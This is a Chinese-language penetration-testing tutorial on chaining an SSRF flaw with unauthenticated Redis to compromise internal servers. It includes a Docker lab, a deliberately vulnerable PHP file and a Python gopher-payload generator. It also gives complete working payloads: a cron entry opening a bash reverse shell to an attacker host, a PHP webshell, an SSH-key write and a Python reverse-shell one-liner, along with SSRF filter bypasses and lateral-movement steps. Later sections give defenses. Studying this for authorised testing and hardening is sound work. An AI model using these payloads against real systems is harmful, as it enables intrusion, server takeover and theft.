当前位置: 首页 > news >正文

SSRF与Redis未授权访问组合攻击:从边界突破到内网沦陷的实战解析

1. 项目概述:从边界突破到内网沦陷

在渗透测试或红队评估中,我们常常会遇到一个看似“鸡肋”的漏洞点:一个存在SSRF(服务端请求伪造)漏洞的Web应用。它可能只是一个图片预览功能,或者一个URL转存接口,攻击者似乎只能用它来探测一下内网端口。然而,当这个SSRF漏洞与内网中一个配置不当的Redis服务相遇时,故事的走向就完全不同了。这个组合拳,能从外部一个不起眼的Web点,直接撕开内网的口子,拿到服务器权限,甚至以此为跳板,进行更深层次的横向移动。今天,我就结合自己多次实战和靶场演练的经验,来详细拆解“利用SSRF和Redis未授权访问进行内网渗透”的完整链条。这不仅仅是两个漏洞的简单叠加,更是一套从信息收集、漏洞利用到权限获取、横向扩展的战术流程。无论你是安全研究人员、渗透测试工程师,还是想深入了解内网攻防的开发者,理解这个攻击链背后的原理、实操细节和防御思路,都至关重要。

2. 攻击链核心原理与前置条件拆解

2.1 SSRF:为何能成为内网的“眼睛”与“手”

SSRF的本质,是攻击者能够诱使服务器应用程序向攻击者指定的任意地址发起网络请求。这相当于你暂时“借用”了服务器的网络权限和身份。一个典型的场景是,一个网站提供了“通过URL获取并显示远程图片”的功能。正常用户提交一个公网图片链接,服务器去抓取并显示。但如果这个功能没有对用户输入的URL做严格校验,攻击者就可以提交一个指向服务器自身(127.0.0.1)或内网其他机器(如192.168.1.10)的地址。

为什么SSRF危险?

  1. 绕过网络边界:防火墙通常严格限制外部到内部的访问,但服务器本身位于内网,它从内部发起的请求往往畅通无阻。SSRF让攻击者得以窥探和访问本应被隔离的内网服务。
  2. 协议支持多样性:除了常见的HTTP/HTTPS,许多编程语言的网络库或函数(如PHP的file_get_contents()curl)可能支持更多协议,如file://(读取本地文件)、dict://(字典协议)、gopher://(一个古老的、支持发送原始TCP数据包的协议)。gopher协议在这里是攻击Redis的关键,因为它允许我们构造任意的TCP数据包发送给内网的Redis服务。
  3. 请求来源可信:请求发自内部的应用服务器,其流量可能不会被内部入侵检测系统(IDS)标记为异常,也更容易通过一些基于IP的白名单校验。

实操心得:在测试SSRF时,不要只盯着返回内容。有时服务器请求了,但可能因为目标端口关闭、协议不支持或返回错误而没有任何回显。这时,利用DNSLog或Burp Collaborator这类外部交互平台来接收DNS查询或HTTP请求,是判断“盲SSRF”是否存在的最佳方法。

2.2 Redis未授权访问:为何是绝佳的“后门”安装器

Redis是一款高性能的键值数据库,默认监听在6379端口。为了追求极致的性能与简便,其在初始安装后,默认配置存在几个致命问题:

  1. 默认无密码认证:配置文件redis.conf中的requirepass参数默认为空,这意味着任何能连接到Redis端口的人,都可以执行任意命令,无需身份验证。
  2. 默认绑定所有接口bind参数默认是127.0.0.1,但很多管理员为了远程连接方便,会将其改为0.0.0.0,使得Redis服务暴露在网络上。
  3. 高危命令未禁用CONFIGSAVEFLUSHALL等命令权限极高,可以修改Redis配置、保存数据到磁盘。攻击者正是利用CONFIG SET命令,来改变Redis持久化文件(RDB)的保存路径和文件名。

攻击逻辑:攻击者通过SSRF,以服务器的身份向内部的Redis服务发送指令。利用Redis未授权访问,攻击者可以:

  • CONFIG SET dir /var/www/html:将Redis的持久化目录设置为Web根目录。
  • CONFIG SET dbfilename shell.php:将持久化文件名设置为一个PHP文件。
  • SET x “<?php @eval($_POST[‘cmd’]);?>”:将一个键值对的值设置为PHP一句话木马。
  • SAVE:触发Redis将内存数据保存到磁盘。由于目录和文件名已被修改,这个操作就会在/var/www/html目录下生成一个包含恶意代码的shell.php文件。

至此,攻击者就通过Web服务器,在Redis服务器上植入了一个WebShell。

2.3 攻击链成立的关键条件

这个组合攻击的成功,依赖于几个环环相扣的条件,缺一不可:

  1. 存在一个可被利用的SSRF漏洞点:并且该漏洞点所在的服务器环境(如PHP)支持gopher://dict://协议,或者允许通过其他方式(如fsockopen)发起原始TCP连接。
  2. 内网存在Redis服务且未授权访问:Redis服务监听在内网IP上,且未设置密码,允许任意连接。
  3. Redis服务运行权限较高:通常Redis进程以redisroot用户运行。如果要写入/root/.ssh/authorized_keys/var/spool/cron/目录,则需要root权限。如果要写入Web目录,则需要对该目录有写权限。
  4. 网络路径可达:存在SSRF漏洞的服务器必须能通过网络访问到目标Redis服务的IP和端口(默认6379)。这通常意味着它们在同一个内网段,或者有路由可达。

3. 漏洞探测与利用环境搭建

3.1 靶场环境模拟

为了清晰地复现整个流程,我们可以在本地搭建一个简单的靶场环境。这里我使用Docker来快速构建,这比用虚拟机更方便,也更容易还原多种场景。

环境组件:

  1. 脆弱Web应用(Vuln_Web):运行一个存在SSRF漏洞的PHP应用。
  2. 内网Redis服务器(Internal_Redis):运行一个未设置密码的Redis服务,绑定在0.0.0.0
  3. 攻击者机器(Attacker):使用Kali Linux或任何安装有渗透测试工具的机器。

Docker Compose 配置 (docker-compose.yml):

version: '3' services: vuln-web: image: php:7.4-apache container_name: vuln-web ports: - "8080:80" volumes: - ./web:/var/www/html networks: - internal-net internal-redis: image: redis:5.0 container_name: internal-redis command: redis-server --bind 0.0.0.0 networks: - internal-net networks: internal-net: driver: bridge

搭建步骤:

  1. 创建项目目录,并新建docker-compose.yml文件,将上述内容粘贴进去。
  2. 创建web目录,并在其中放置我们的漏洞PHP文件ssrf.php
  3. 启动环境:docker-compose up -d

3.2 SSRF漏洞点代码示例

./web/ssrf.php中,我们编写一个存在SSRF漏洞的简单页面:

<?php // ssrf.php - 一个存在SSRF漏洞的图片抓取功能 if (isset($_GET['url'])) { $url = $_GET['url']; // 危险操作:未对$url进行任何过滤和校验 $content = file_get_contents($url); // 假设我们处理的是图片,直接输出 header('Content-Type: image/jpeg'); // 这里仅为示例,实际可能根据内容判断 echo $content; } else { highlight_file(__FILE__); } ?>

这个代码的问题一目了然:file_get_contents($_GET[‘url’])直接使用了用户输入的参数。PHP的file_get_contents函数支持多种协议包装器,包括http://file://gopher://等(取决于PHP版本和配置)。

3.3 初步探测:确认SSRF与发现Redis

首先,我们从攻击者视角开始。假设我们已经通过信息收集发现了http://target.com:8080/ssrf.php这个可疑端点。

步骤1:验证SSRF存在我们使用一个公开的请求测试服务(如http://httpbin.org/get)或自己搭建的接收服务器。

http://target.com:8080/ssrf.php?url=http://your-burp-collaborator-domain.com

如果我们的接收服务器收到了来自目标服务器IP的请求,则证明SSRF漏洞存在。

步骤2:探测内网网段与Redis端口由于我们通过Docker模拟,知道Redis在internal-redis容器(假设IP为172.18.0.3)上。但在真实黑盒测试中,我们需要猜测内网网段。常见的内网网段有192.168.0.0/1610.0.0.0/8172.16.0.0/12。我们可以利用dict协议进行快速端口探测,因为dict协议在连接成功后通常会返回一个简单的 banner。

尝试探测192.168.1.1的6379端口:

http://target.com:8080/ssrf.php?url=dict://192.168.1.1:6379/info
  • 如果返回-ERR unknown command 'info'或类似的Redis错误信息,恭喜你,说明该IP的6379端口开放,并且运行着Redis服务!(因为dict服务器不会响应info命令,只有Redis会)。
  • 如果连接超时或拒绝,则端口可能关闭或不可达。
  • 如果返回+OKdict协议的标准成功响应),则可能是dict服务。

注意事项dict协议在某些环境下可能被禁用。此外,大规模端口扫描会产生大量请求,可能触发告警。更隐蔽的方式是结合已有信息(如子域名、其他服务banner)来推测可能的IP段,或者使用gopher协议进行更精准的探测。

4. 利用Gopher协议攻击Redis的实战解析

4.1 Gopher协议:原始TCP的传送门

gopher是一个古老的协议,但其设计简单到足以成为我们的利器:它允许客户端通过一个URL格式的请求,向指定服务器和端口发送一段任意的TCP数据流。其URL格式为:

gopher://<host>:<port>/_<TCP数据流>

注意_后面的数据会被直接作为TCP载荷发送。我们需要做的,就是将Redis命令按照其通信协议(RESP)格式编码,然后进行URL编码,拼接在这个URL后面。

4.2 Redis通信协议(RESP)速成

Redis客户端与服务端通过TCP通信,使用一种名为RESP(REdis Serialization Protocol)的简单协议。我们构造攻击载荷,必须遵循这个格式。

RESP基本类型:

  • 简单字符串(Simple Strings):以+开头,如+OK\r\n
  • 错误(Errors):以-开头,如-ERR unknown command\r\n
  • 整数(Integers):以:开头,如:1\r\n
  • 批量字符串(Bulk Strings):以$开头,后跟字符串长度,然后是字符串本身,以\r\n结尾。例如,发送命令SET key value中的SET,需要编码为$3\r\nSET\r\n
  • 数组(Arrays):以*开头,后跟数组元素个数。Redis命令通常以数组形式发送。例如,命令FLUSHALL(无参数)编码为*1\r\n$8\r\nFLUSHALL\r\n。命令CONFIG SET dir /tmp编码为*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$4\r\n/tmp\r\n

关键点:每个部分都必须以\r\n(CRLF)结束。在构造Payload时,\r\n需要被编码为%0D%0A

4.3 手工构造攻击Payload:以写入定时任务为例

假设我们的攻击机IP是10.0.0.1,监听4444端口。我们想在内网Redis服务器(172.18.0.3:6379)上写入一个定时任务,每分钟反弹一个shell。

目标命令序列(Redis CLI中执行):

FLUSHALL CONFIG SET dir /var/spool/cron CONFIG SET dbfilename root SET x "\n\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n" SAVE

步骤1:将每条命令转换为RESP格式

  1. FLUSHALL->*1\r\n$8\r\nFLUSHALL\r\n
  2. CONFIG SET dir /var/spool/cron->*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$16\r\n/var/spool/cron\r\n(注意/var/spool/cron长度是16)
  3. CONFIG SET dbfilename root->*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n
  4. SET x “\n\n…\n\n”-> 这里需要小心处理引号和换行符。我们先构造字符串:\n\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n。假设这个字符串长度为len。命令为:*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$len\r\n\n\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n\r\n
  5. SAVE->*1\r\n$4\r\nSAVE\r\n

步骤2:拼接所有命令,并进行URL编码将上述所有RESP字符串拼接成一个长字符串,然后对整个字符串进行URL编码。编码时需要注意,\r\n已经被我们表示为两个字符,编码时会变成%0D%0A。但更稳妥的做法是,在代码中直接生成二进制数据流,然后对整个流进行编码。

步骤3:使用Python脚本自动化生成手工构造极易出错,下面是一个可靠的Python生成脚本:

import urllib.parse def generate_redis_protocol(*args): """ 将Redis命令转换为RESP协议格式的二进制数据 """ resp = f"*{len(args)}\r\n".encode() for arg in args: arg_bytes = arg.encode() if isinstance(arg, str) else arg resp += f"${len(arg_bytes)}\r\n".encode() resp += arg_bytes resp += b"\r\n" return resp # 定义要执行的命令序列 commands = [ ["FLUSHALL"], ["CONFIG", "SET", "dir", "/var/spool/cron"], ["CONFIG", "SET", "dbfilename", "root"], ["SET", "x", "\n\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n"], ["SAVE"] ] # 生成完整的Redis协议数据流 payload = b"" for cmd in commands: payload += generate_redis_protocol(*cmd) # 转换为Gopher URL # 注意:gopher:// 后需要加一个下划线 `_`,然后跟经过URL编码的payload gopher_payload = "gopher://172.18.0.3:6379/_" + urllib.parse.quote(payload) print("生成的Gopher Payload URL:") print(gopher_payload)

运行这个脚本,你会得到一个很长的、经过URL编码的字符串,它以gopher://172.18.0.3:6379/_开头。

步骤4:通过SSRF触发在攻击机上启动Netcat监听4444端口:nc -lvnp 4444。 然后,将生成的完整URL作为参数,发送给存在SSRF的端点:

http://target.com:8080/ssrf.php?url=gopher://172.18.0.3:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2410%0D%0A%2Fvar%2Fspool%2Fcron%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0Ax%0D%0A%2457%0D%0A%0A%0A%2A%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261%0A%0A%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A

如果一切顺利,服务器会通过file_get_contents发起这个Gopher请求,将我们构造的Redis命令发送给内网的Redis。Redis执行后,会在/var/spool/cron/目录下创建(或覆盖)一个名为root的文件,内容包含我们的反弹Shell命令。等到下一分钟(Cron任务每分钟检查一次),你就会在Netcat监听端收到一个来自Redis服务器的反向Shell连接。

4.4 其他利用方式与选择

除了写入定时任务,还有几种常见的利用方式,成功率因环境而异:

1. 写入WebShell这是最直观的方式,前提是知道Web目录的绝对路径(如/var/www/html)。

CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET x "<?php @eval($_POST['cmd']);?>" SAVE

然后访问http://redis-server-ip/shell.php,用蚁剑、菜刀等工具连接即可。成功率相对较高,但需要Web目录有写权限。

2. 写入SSH公钥前提是Redis以root用户运行,且/root/.ssh/目录存在。

  • 在攻击机生成密钥:ssh-keygen -t rsa
  • 将公钥(id_rsa.pub)内容前后加上换行符,通过Redis的SET命令写入。
  • 设置目录和文件名:
CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SET x "\n\nssh-rsa AAAAB3NzaC1yc2E...(你的公钥)...\n\n" SAVE
  • 使用ssh -i id_rsa root@redis-server-ip登录。成功率较低,因为很多生产环境的Redis不以root运行,且可能禁用SSH密钥登录。

3. 主从复制RCE(Redis 4.x/5.x)这是一种更高级的攻击方式,不依赖写入文件。攻击者将自己伪装成Redis主节点(Master),让目标Redis作为从节点(Slave)同步数据。攻击者可以同步一个恶意的Redis模块(.so文件),然后加载执行。这种方式对Redis版本有要求,且需要攻击者能开放一个端口供目标Redis连接,在纯SSRF场景下实施难度较大,通常需要结合其他漏洞进行端口转发。

实操心得:写入定时任务的坑

  • 目录问题:不同Linux发行版的Cron任务目录可能不同。常见的有/var/spool/cron/(CentOS/RHEL系)和/var/spool/cron/crontabs/(Debian/Ubuntu系)。如果写错目录,任务不会执行。
  • 权限问题:Redis进程用户(通常是redis)必须对目标目录有写权限。/var/spool/cron/目录通常权限是drwx-wx--T,属主是root,但同组和其他用户有写和执行权限,redis用户通常属于redis组,可能没有写入权限。写入/tmp目录成功率更高,但需要其他方式触发。
  • 文件格式:Cron文件有严格的格式,多余的换行或空格可能导致任务不被解析。确保Payload中的换行符\n正确编码。
  • 网络出站限制:即使成功写入并执行了反弹Shell命令,如果目标服务器有严格的出站防火墙规则,连接也可能无法建立。

5. 绕过技巧与高级利用场景

在实际渗透中,直接使用gopher://协议可能会被WAF或应用自身的过滤规则拦截。此外,内网环境可能更加复杂。下面分享一些绕过和深入利用的思路。

5.1 SSRF绕过技巧

  1. 利用URL解析差异

    • 使用@符号http://foo@127.0.0.1:80可能被解析为访问127.0.0.1:80,而忽略foo@。有些过滤器只检查://到第一个/之间的部分,可以利用http://127.0.0.1:80@evil.com来绕过对evil.com的过滤(但实际效果取决于解析库)。
    • 利用IPv6地址http://[::]:80/http://[::ffff:127.0.0.1]/可能绕过对127.0.0.1的字符串匹配。
    • 利用进制、八进制、十六进制IP表示http://0x7f000001/(127.0.0.1的十六进制),http://0177.0.0.1/(八进制)。可以使用工具快速转换。
    • 利用句号或全角字符:在某些环境下,http://192。168。1。1可能被某些解析器正常解析,但绕过简单的正则匹配。
  2. 利用重定向:如果服务器在发起请求前会跟随重定向,可以先将URL指向一个攻击者控制的服务器,该服务器返回一个302 Found重定向响应,Location头指向内网目标(如dict://127.0.0.1:6379/info)。这样,SSRF的第一次请求是合法的外网地址,第二次重定向请求才访问内网。

  3. 利用非标准端口:Redis不一定在6379,可能是其他端口。结合内网服务探测,尝试常见端口如6379, 6380, 26379(Sentinel)等。

5.2 攻击链的横向扩展

一旦通过Redis Getshell,拿到了一台内网服务器的权限,我们的工作才刚刚开始。

1. 信息收集

  • 网络信息ifconfig/ip addrnetstat -antp/etc/hostsarp -a
  • 用户与进程whoami,id,ps aux,cat /etc/passwd
  • 密码与密钥:查找配置文件(如Web、数据库)、历史命令(history)、bash历史文件(~/.bash_history)、SSH密钥(~/.ssh/)。
  • Redis自身redis-cli连接本地Redis,执行CONFIG GET *查看配置,KEYS *查看数据,可能发现其他应用的敏感信息。

2. 权限提升检查Redis进程权限(ps aux | grep redis),如果不是root,尝试寻找本地提权漏洞。查看系统内核版本(uname -a),搜索对应的公开Exp。检查是否有sudo权限(sudo -l),或者SUID/GUID文件(find / -perm -u=s -type f 2>/dev/null)。

3. 内网横向移动

  • 端口扫描:利用已控服务器作为跳板,扫描内网其他网段。可以使用nmapmasscan,或者简单的bash脚本(for i in {1..254}; do timeout 1 bash -c “echo >/dev/tcp/192.168.1.$i/22” 2>/dev/null && echo “192.168.1.$i:22 open”; done)。
  • 密码爆破与重用:收集到的密码、密钥,尝试登录其他服务器(SSH、MySQL、Redis等)。
  • 利用其他服务漏洞:扫描发现的Web应用、数据库等,尝试利用已知漏洞。
  • 搭建代理:在已控服务器上部署SOCKS5代理(如ewfrpnps),将攻击机的流量代理进内网,方便后续使用图形化工具进行渗透。

6. 防御方案与加固建议

理解了攻击原理,防御就变得有章可循。防御需要从应用层(SSRF)和基础设施层(Redis)同时入手。

6.1 防御SSRF漏洞

  1. 输入校验与白名单:这是最有效的方法。如果业务只需要访问特定的几个外部资源,直接使用白名单机制。如果必须允许用户输入URL,则进行严格的校验:

    • 协议限制:只允许http://https://
    • 域名/IP限制:解析URL得到的主机名或IP,检查是否在允许的白名单内。禁止访问回环地址(127.0.0.1, localhost)、私有IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)和链路本地地址(169.254.0.0/16)
    • 使用正则表达式时注意绕过:确保正则匹配的是整个主机部分,并考虑各种绕过技巧。
  2. 禁用危险协议:在PHP中,可以通过php.iniallow_url_fopenallow_url_include进行控制,但更关键的是避免使用file_get_contentsfsockopen等支持多协议的函数。优先使用只支持HTTP/HTTPS的库,如Guzzle(PHP)、Requests(Python)。

  3. 使用中间代理或解析服务:不直接从用户提供的URL获取内容。设计一个代理服务,由该服务负责获取内容。代理服务部署在独立的、网络权限受限的服务器上,并且只允许访问白名单地址。

  4. 网络层隔离:运行Web应用的服务器,其出站网络访问应受到严格限制。通过安全组、防火墙或主机防火墙(iptables),只允许其访问业务必需的外部地址和端口,坚决禁止访问内网的管理端口(如6379, 3306, 22等)

6.2 加固Redis服务

  1. 设置强密码:在redis.conf中取消requirepass的注释,并设置一个复杂密码。这是最基本也是最重要的措施。requirepass YourStrongPasswordHere

  2. 绑定监听地址:修改redis.conf中的bind配置,只绑定到必要的IP地址。如果Redis只被本机应用访问,就绑定127.0.0.1bind 127.0.0.1

  3. 启用保护模式:Redis 3.2之后引入了保护模式(protected-mode)。当Redis未设置密码且绑定在非回环地址时,保护模式会拒绝外部连接。确保protected-mode yes

  4. 修改默认端口:将端口从默认的6379改为其他端口,增加攻击者的扫描成本。port 6380

  5. 以低权限用户运行:不要以root用户运行Redis。创建一个专用的redis用户和用户组,并以该用户身份运行Redis服务。useradd -r -s /bin/false redis

  6. 禁用或重命名高危命令:通过redis.confrename-command配置,将CONFIGFLUSHALLEVAL等危险命令重命名为随机字符串,或者直接禁用(重命名为空字符串)。

    rename-command CONFIG “” rename-command FLUSHALL “” rename-command FLUSHDB “” rename-command KEYS “”

    注意:禁用CONFIG命令可能会影响某些运维操作,需权衡。

  7. 网络访问控制:通过服务器防火墙或云服务商安全组,严格限制访问Redis端口的源IP。只允许特定的应用服务器IP访问。

6.3 纵深防御与监控

  1. 定期漏洞扫描与配置审计:使用自动化工具定期扫描内网,发现未授权访问的Redis、MySQL等服务。检查关键服务器的安全配置。
  2. 日志监控与分析:集中收集Web服务器、Redis服务器的访问日志和错误日志。监控异常访问模式,例如来自Web服务器的异常Redis连接请求、大量的CONFIG命令执行等。
  3. 入侵检测:在关键网络节点部署IDS/IPS,设置规则检测SSRF攻击特征(如请求中包含gopher://dict://、内网IP)和Redis未授权访问尝试。
  4. 最小权限原则:所有服务,包括Web应用和数据库,都遵循最小权限原则运行。Redis进程不需要root权限,Web应用服务器不需要访问内网管理端口。

7. 实战中常见问题与排查实录

在实际利用过程中,你可能会遇到各种各样的问题。下面是我踩过的一些坑和对应的排查思路。

问题1:SSRF请求发出去了,但Redis没反应,Netcat也没收到反弹Shell。

  • 排查网络连通性:首先确认存在SSRF的服务器是否能访问目标Redis的IP和端口。可以在已控的Web服务器上执行telnet 172.18.0.3 6379nc -zv 172.18.0.3 6379。如果不通,可能是防火墙规则、网络策略或Redis绑定地址问题。
  • 检查Redis配置:登录Redis服务器,查看redis.conf,确认bind设置和protected-mode。查看Redis日志(通常/var/log/redis/redis-server.log)是否有连接拒绝的记录。
  • 检查Payload编码:这是最常见的问题。确保RESP格式完全正确,每个\r\n都编码为%0D%0A。使用我们提供的Python脚本生成Payload,比手工构造可靠得多。可以先用脚本生成一个简单的PING命令Payload进行测试:gopher://.../_%2A1%0D%0A%244%0D%0APING%0D%0A。如果Redis返回+PONG(可能会显示在Web响应中),说明协议通了。
  • 检查PHP环境:确认PHP的allow_url_fopen是否为On,以及是否支持gopher协议包装器。对于高版本PHP(>=5.3),gopher://可能被禁用。此时可以尝试使用fsockopen函数手动构造TCP请求的SSRF利用方式,或者尝试dict协议。

问题2:Redis命令执行成功(返回+OK),但文件没有生成,或生成后命令没有执行。

  • 检查目录和文件权限:通过其他途径(如已存在的WebShell、其他漏洞)查看目标目录是否存在,以及Redis进程用户是否有写权限。ls -la /var/spool/cron/
  • 检查Cron服务:系统Cron服务(crond)是否在运行?ps aux | grep cron。有些Docker镜像或最小化系统可能没有安装Cron。
  • 检查文件内容:查看写入的文件内容是否正确。cat /var/spool/cron/root。注意开头的空行和结尾的空行是否过多,Cron对格式要求严格。
  • 检查反弹Shell命令的兼容性bash -i >& /dev/tcp/...是Bash的特性。确保目标系统的默认Shell是Bash,并且/dev/tcp这个特性可用(大多数Linux发行版的Bash都支持)。如果不确定,可以尝试使用更通用的ncpython反弹Shell命令。

问题3:写入WebShell成功,但访问时返回500错误或空白页。

  • 检查PHP标签:确保写入的PHP代码标签是完整的<?php ... ?>,并且没有因为编码问题被破坏。
  • 检查文件权限:WebShell文件是否对Web服务器进程用户(如www-datanginx)有读权限。
  • 检查PHP配置:目标服务器是否安装了PHP?是否禁用了eval等危险函数(disable_functions)?查看Web服务器错误日志(如/var/log/nginx/error.log)获取具体错误信息。

问题4:利用成功,但反弹Shell连接不稳定或立即断开。

  • 检查出站防火墙:目标服务器可能限制了出站连接。尝试连接其他常见端口(如80, 443)看是否通。
  • 使用更稳定的反向Shell:可以尝试使用mkfifopython -c “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘10.0.0.1’,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/sh’,’-i’]);”
  • 尝试绑定Shell:如果出站限制严格,可以尝试在目标服务器上监听一个端口,攻击机主动连接上去。但这种方式通常需要目标服务器没有入站防火墙限制,且需要解决TTY和交互问题。

这个攻击链的威力在于其串联性,一个看似低危的SSRF,在内网脆弱服务的加持下,能演变成一次完整的权限突破。对于防御方而言,修补任何一个环节(修复SSRF或加固Redis),都能有效阻断整个攻击链。安全是一个整体,任何一环的疏忽都可能成为突破口。对于攻击方(在授权测试中),理解并熟练运用这种链式攻击,是评估内网真实风险的关键技能。在实战中,耐心、细致的排查和对底层协议的理解,往往是成功与否的决定因素。

http://www.jsqmd.com/news/1141479/

相关文章:

  • iPaaS与技术前身的对比(2)| iPaaS vs ETL
  • ThinkPad风扇静音革命:TPFanCtrl2让你的笔记本告别噪音烦恼
  • 3步搞定微信聊天记录永久备份:WeChatExporter完整指南
  • 3步掌握微信聊天记录导出:免费开源工具终极指南
  • 别再熬夜攒论文!7款AI论文写作工具1天搞定全学科初稿
  • PyTorch 2.x 版本兼容性决策树:CUDA 11.8/12.1/12.4 三选一指南
  • Nginx与MySQL等保2.0安全加固实战指南:从配置到监控
  • 跨平台直播内容持久化挑战的模块化解决方案
  • 从仿真走向真实空口:开源可复现无线科研平台的价值
  • 2026年东北交付速度TOP3的庭院灯生产厂家,究竟哪家值得选?
  • KMX62与STM32F412RE在动态平衡控制中的优化应用
  • 2026写论文有没有工具推荐呢?从论文大纲到交稿排版,这篇说明白了
  • OpenEuler/Space-Doc-Spec入门指南:从基础到实践的完整路径
  • TMSpeech:Windows本地实时语音转文字的革命性解决方案
  • 影刀RPA新手教程:流程规划完全指南——怎么把一个复杂任务拆成小块
  • AI Agent 运营工具周报:从浏览器执行到 SEO,7 个补件值得试
  • QQScreenShot独立版:免费免登录的QQ截图工具完整使用指南
  • [论文学习]从上下文学习中评估隐私洩漏-深度解析
  • Figma中文汉化终极指南:3分钟让你的设计界面变中文
  • KMR221与PIC18F46K42实现高精度电压监控方案
  • KMX62-1031与PIC18F85K90实现高精度平衡控制方案
  • 直流负载管理优化:G6D-ASI继电器与PIC18F65K40的工程实践
  • 一文搞懂 AI Agent 的记忆系统:从短期到长期,从本地到向量数据库
  • RTSP拉流失败排查参数配置说明
  • Function Calling、MCP、Agent 工具调用到底有什么区别?
  • Java 反序列化漏洞实战:从 ysoserial 工具链到 3 种主流框架利用分析
  • AltDrag终极指南:5分钟掌握Windows窗口管理的革命性技巧
  • 企业认证与安全体系(十):一张图看懂企业认证架构——从登录、鉴权到权限控制完整串联
  • STM32F423RH与AD7490高速ADC接口设计与优化
  • 2026商丘GEO运营谁专业